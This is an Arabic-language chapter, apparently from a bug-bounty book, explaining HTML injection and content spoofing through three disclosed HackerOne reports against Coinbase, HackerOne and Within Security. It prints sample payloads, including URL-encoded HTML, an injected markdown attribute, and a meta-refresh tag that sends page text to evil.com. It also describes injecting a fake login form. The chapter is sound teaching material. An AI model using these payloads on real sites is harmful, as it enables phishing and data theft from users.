HTML حقن

الوصف

تعرف ايضا هذه الثغرات بما يسمى بالتشويه الوهمي , هذه الهجمات تتم عندما يسمح احد المواقع لمستخدم سيئ بحقن اكواد(HTML) داخل صفحات الموقع , بدون تعديل او فلترة لمدخلات المستخدم ,من ناحية اخرى يمكن تعريف هذه الثغرات بانها تحدث عندما يقوم التطبيق باخذ مدخلات المستخدم ووضعها في الصفحات مباشرة, يختلف هذا النوع من الثغرات عن ثغرات حقن الاسركبتات مثل JavaScript VBScript.

كون HTML اللغه الاولى المسئولة عن بنية صفحات الويب ‫,‬ لو تمكن مهاجم ما من حقن اكواد HTML بموقع ما‫,‬ يمكن ان يغير شكل الصفحه تماما ‫,‬ وربما ايضا يبتكر صفحات وهميه لخداع المستخدمين والحصول على معلومات منهم ,بطريقة اخرى لو تمكنت من حقن هذا النوع من الاكواد , يمكن ايضا ان تضع وسم فورم ‪<‬form‪>‬ داخل الصفحه , وتطلب من المستخدم ادخال المعرف وكلمة المرور الخاص بهم ,مما يتسبب في سرقة هذه البيانات.

امثلة

1. Coinbase تعليقات

الصعوبة: منخفضة

الرابط: coinbase.com/apps

رابط الابلاغ: https://hackerone.com/reports/104543

تاريخ الابلاغ: ديسمبر 10, 2015

المكافأة: $200

الوصف:

لاحظ مكتشف الثغرة ان التطبيق يقوم بفك ترميز الحروف اثناء عرض النصوص و( الحروف المحجوزة ‪/&?‬ استنادا لموقع ويكيبديا اما باقي الحروف تعتبر حروف عادي).

لذلك لو افترضنا حرف تم تشفيره بطريقة URl‪-‬Encoding , معنى ذلك ان الحرف تم تحويله لما يقابله من الاسكي وبعد ذلك وضع علامة ‪%‬ امامه , مثال علامة ‪/‬ تصبح ‪%‬2F , وعلامة ‪&‬ تصبح ‪%‬26 , يعتبر ASCII اشهر انواع الترميز العالمية .

نرجع للمثال , لو ادخل المهاجم كود كالتالي :

1 <h1>This is a test</h1>

يقوم موقع كوينبيز بعرضه كمجرد نص عادي ‫,‬ لذلك يجب ان يقوم المهاجم بتشفير النص ‫(‬ بطريقة ترميز الروابطURL‪-‬Encoding‫)‬ كالتالي:

1 %3C%68%31%3E%54%68%69%73%20%69%73%20%61%20%74%65%73%74%3C%2F%68%31%3E

سيقوم التطبيق باستقبال النص وفك تشفيره ليعود كما كان لوضعه الطبيعي :

This is a test

من خلال هذا السيناريو قام المكتشف باثبات قدرته على حقن HTML بما في ذلك حقن فورم ‪<‬Form‪>‬ لسرقة بيانات المستخدمين ‫,‬ فيقوم التطبيق المصاب بعرض الفورم الخاصه بالمهاجم للمستخدمين فتتم سرقه بياناتهم (بافتراض انهم ادخلوها).

2. HackerOne Unintended HTML Inclusion

الصعوبة: متوسطة

الرابط: hackerone.com

رابط الابلاغ: https://hackerone.com/reports/112935

تاريخ الابلاغ: يناير 26, 2016

المكافأة: $500

الوصف:

بعد قراءة ثغرةْXSS الموجودة بموقع ياهو والمرفقة في (الفصل السابع مثال رقم اربعه) ‫,‬ اصبحت مهووس اكثر بثغرات الHTML ‫,‬ مما دفعني لفحص محرر ماركدون المرفق في موقع هاكرون ‫,‬ ادخال نص مثل ismap= “yyy=xxx” and “‘test” داحل وسم صورة ‫.‬ لاحظت ان المحرر سيسمح لعلامة التنصيص المفردة لو تم ادخال علامة مزدوجة تسمى هذه ‪-‬ بشنق علامة التنصيص ‫,‬ حيث انه توضع بين علامتين اخرتين .

في وقت لاحق ‫,‬ لم افهم الانطباعات حول تضمين هذه الحروف . انا اعلم تماما اذا قمت بحقن علامه مفردة اخرى ف مكان ما ‫,‬ سيقوم المتصفح بعرض ما بينهما كعنصر واحد ‫. مثال للتوضيح‬:

1 <h1>This is a test</h1><p class="some class">some content</p>'

لو قمت بحقن تاح ميتا كما يلي:

1 <meta http-equiv="refresh" content='0; url=https://evil.com/log.php?text=

سيقوم المتصفح بعرض كل الحروف الموجودة بين علامتي التنصيص المفردة . هذ السيناريو تم شرحه في هذا التقرير #110578 by intidc (https://hackerone.com/intidc).

نسبة لموقع هاكر ون ‫,‬ فهم يعتمدون على تطبيق ما يسمى RedCarpet ‫,‬ (وهو عبارة عن مكتبة بلغة روبي لمعالجة عمليات الماركدون ) من اجل فلترة اكواد HTML ‫,‬ بعد ذلك تمرر مباشرة لصفحات الويب ‫,‬ عن طريق دالة تسمى setinnerHTML ,موجودة داخل مكتبة REACT وهي مكتبة جافا سكربت ‫,‬ تستخدم لتحديث صفحات الويب ديناميكيا دون اعادة تحميل الصفحة.

DOM هو عبارة عن برنامج يتعامل مع HTMLm,XML ‫,‬ وهو برنامج متعدد المنصات ‫,‬ يمكنه التعامل مع جميع لغات التوصيف‪(‬HTML ‪,‬XHTML XML ‪)‬ والتعديل على عناصرها.

في هذا المثال موقع هاكر ون ‫,‬ لم يقوموا بفلترة الاكواد الناتجة ‫,‬ التي قد تستغل وتسبب اضرار ‫,‬ بعد قراءة التقرير ‫.‬ قمت بفحص الموقع باضافة :

1 [test](http://www.torontowebsitedeveloper.com "test ismap="alert xss" yyy="test"\
2 ")

والتي يتم ترجمتها الى:

1 <a title="'test" ismap="alert xss" yyy="test" &#39; ref="http://www.toronotwebsi\
2 tedeveloper.com">test</a>

كما ترى ‫,‬ كنت قادر على حقن بعض اكواد HTML ‫,‬ داخل ‪<‬a‪>‬ تاج . ونتيجة لذلك قام الموقع باصلاح الثغرة ومحاولة تخطي علامة التنصيص المفردة مرة اخرى.

3. Within Security تزوير المحتوى

الصعوبة: منخفضة

الرابط: withinsecurity.com/wp-login.php

رابط الابلاغ: https://hackerone.com/reports/111094

تاريخ الابلاغ: يناير 16, 2015

المكافأة: $250

الوصف:

يعد تزوير المحتوى نوع مختلف من الثغرات يختلف تماما عن ثغرات حقن HTML , قمت بادراج هذا النوع في كتابي لانه يوصف طبيعة وما يحدث عندما يخدع المهاجم الموقع لعرض محتوى غير مرغوب فيه.

موقع ويثن سيكيورتي هو موقع مبني على ورد برس , ويكون صفحة دخول التحكم الافتراضية هي withinsecurity.com/wp-login.php (بعد ذلك تم دمج الموقع مع هاكر ون) .لاحظ احد الهاكرز اثناء عملية تسجيل الدخول , انه اذا حدث خطا , يقوم الموقع بعرض رساله تحتوي على التالي access‪_‬denied , هذه الرساله عبارة عن بارامتر تم ارساله في الرابط التالي:

1 https://withinsecurity.com/wp-login.php?error=access_denied

بمجرد ان, لاحظ الهاكر قيمة البارمتر موجودة في الصفحة, اكتشف انها ثغرة وقام بتغيير قيمة البارامتر للتاكد , هذا هو المثال المستخدم :

1 https://withinsecurity.com/wp-login.php?error=Your%20account%20has%20%hacked
WithinSecurity Content Spoofing
WithinSecurity Content Spoofing

سبب اكتشاف الثغرة , هو ملاحظة الهاكر للقيمة المردودة داخل الصفحة . افترض ان الهاكر لاحظ كلمة access‪_‬denied في الرابط ووجدها معروضة في الصفحة ايضا .وابسط مايمكن عمله هنا هو تغيير قيمة البامرامتر , فوجد القيمة مردودة بالفعل في الصفحة مرة اخرى , بذلك اكتشف ان الموقع مصاب والثغرة موجودة بالتأكيد , بعد ذلك قام بالابلاغ.

الملخص

تعتبر ثغرات حقن اكواد HTML بمثابة نقاط ضعف للمواقع ومطوريها لانها تمكن المهاجمين من خداع المستخدمين لسرقة بياناتهم الحساسة , او زيارة مواقع ضارة. يسمى هذا النوع من الهجوم بالتصيد.

اصطياد هذه الثغرات لايكون دائما بارسال HTML , ولكن بمحاولة اكتشاف كيف يعالج التطبيق مدخلاتك , مثل الحروف المشفرة بترميز الروابطURL‪-‬Encoded .ثغرات تزوير المحتوى هي ثغرات مشابهه لحقن اكوادHTML , ثغرات حقن الاكواد تمكنك من تغيير شكل الصفحة ومتحوياتها تماما بما في ذلك تنفيذ الاسكربتات, بينما ثغرات حقن المحتوى تمكنك من تغيير المحتوى فقط , لذلك يجب على الهاكر ملاحظة مدخلات المستخدم التي يعرضها التطبيق , افضل الطرق لاصطياد هذه الثغرات هو التلاعب بقيم البامترات الموجودة بالروابط.